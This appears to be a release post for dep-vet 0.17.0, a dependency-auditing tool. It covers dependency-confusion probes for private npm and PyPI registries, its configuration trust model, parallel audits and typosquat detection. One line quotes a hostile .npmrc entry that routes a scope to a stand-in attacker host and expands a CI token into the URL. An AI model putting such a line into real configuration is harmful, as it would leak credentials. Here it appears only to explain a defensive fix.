Most supply-chain tools assume every package comes from the public registry. That assumption is wrong for any company with an internal registry, and it is exactly where dependency confusion lives: a package named @acme/billing that nobody published publicly, and someone else eventually does.
dep-vet 0.17.0 reads private npm and PyPI registries instead of pretending they don't exist, and it reports the confusion condition rather than leaving it to a wiki page.
The check
When a name is routed to a private registry, dep-vet asks the public registry once whether that name exists there:
- HIGH when the public copy is the same or a newer version — the copy an unpinned resolver would install
- WARN when only older versions exist — the next public bump would shadow the private one
- INFO when the probe fails — never silence
The probe is unauthenticated, asks the public registry directly (never a mirror that configuration could point somewhere else), and its answer is never cached. Set probe_public = false on a registry that intentionally mirrors public packages.
The part that took longer than the check
Routing a package is easy. Deciding who may route it is the actual design problem, because .depvet.toml lives in the repository and a pull request can edit it.
The trust model is: a repository may route; only you may authenticate or reach inward.
-
[[registries]]in.depvet.tomlcan point a scope or prefix at a host. -
auth = "env:ACME_NPM_TOKEN"is only read from~/.config/dep-vet/registries.toml. Anauthkey in a repository file is exit3, not a silent ignore. - Only user-level configuration (your own
registries.toml,~/.npmrc, pip's config) may exempt a host from the public-address rule or disable the probe. - A project
.npmrcnever expands${VAR}and itsregistry=is ignored.
That last point was a real finding in the pre-release review. A .npmrc containing:
@acme:registry=https://attacker.example/${GH_TOKEN} would have expanded the workflow token into the request path. The fix is not a regex over the URL; it is not letting a repository file read the environment at all.
The reusable CI workflow already substitutes .depvet.toml from the base revision, so a PR cannot add routes. It now sets DEPVET_NO_NPMRC=1 too, because .npmrc was not being substituted and could still reroute every name.
What it reads
npm packuments are familiar. Private Python indexes are not: most of them expose only the simple API, not PyPI's /pypi/{name}/json. dep-vet reads the PEP 691 JSON representation (versions, yank state, sdist-only, PEP 700 upload times), and reports what the index cannot answer — maintainers, license, repository — as not checked instead of inventing it.
Discovery follows the tools you already configured: @scope:registry from .npmrc, and PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and pip.conf for Python, with extra indexes tried in order when a name is missing from the primary. DEPVET_NO_NPMRC=1 and DEPVET_NO_PIP_CONFIG=1 turn that off.
The rest of 0.17.0
--jobs replaced fixed batches. Audits used to run four at a time and wait for the slowest package in each batch. A worker pool pulls indices from an atomic instead, results still land in lockfile order, and --jobs (or DEPVET_JOBS) defaults to cores capped at 8. On the 1,090-package OWASP NodeGoat lockfile the cold run went from 118.26 s to 47.21 s, and 27.90 s at --jobs 16 with identical findings.
--fail-on moves the threshold. --fail-on high reports warnings and exits 0 unless a HIGH finding exists; --fail-on info fails on any finding. JSON and SARIF carry the same effective exit_code as the process. Commands whose exit code is not a finding verdict refuse the flag instead of ignoring it.
Typosquat seeds are generated. crates.io, NuGet, and PyPI now come from each registry's keyless download ranking (npm already did), unioned with the previous list so a curated name cannot disappear, with anchors and a 200-line diff cap in the weekly refresh. Pure reorderings are caught too: dateutil-python against python-dateutil is one move, not four edits.
Honest limits
Private-registry support is npm and PyPI. Routing is by scope or name prefix; a routed name never falls back to the public registry. Registries that expose only an HTML simple index are refused rather than scraped. The confusion probe is one lookup, not a proof of ownership, and an unpinned install outside dep-vet is still the thing that gets hurt.
The release is on GitHub, crates.io, and npm as 0.17.0. The changelog lists every rule change, including the one where a real crate called unty sat one edit from funty and made our own dogfood job fail.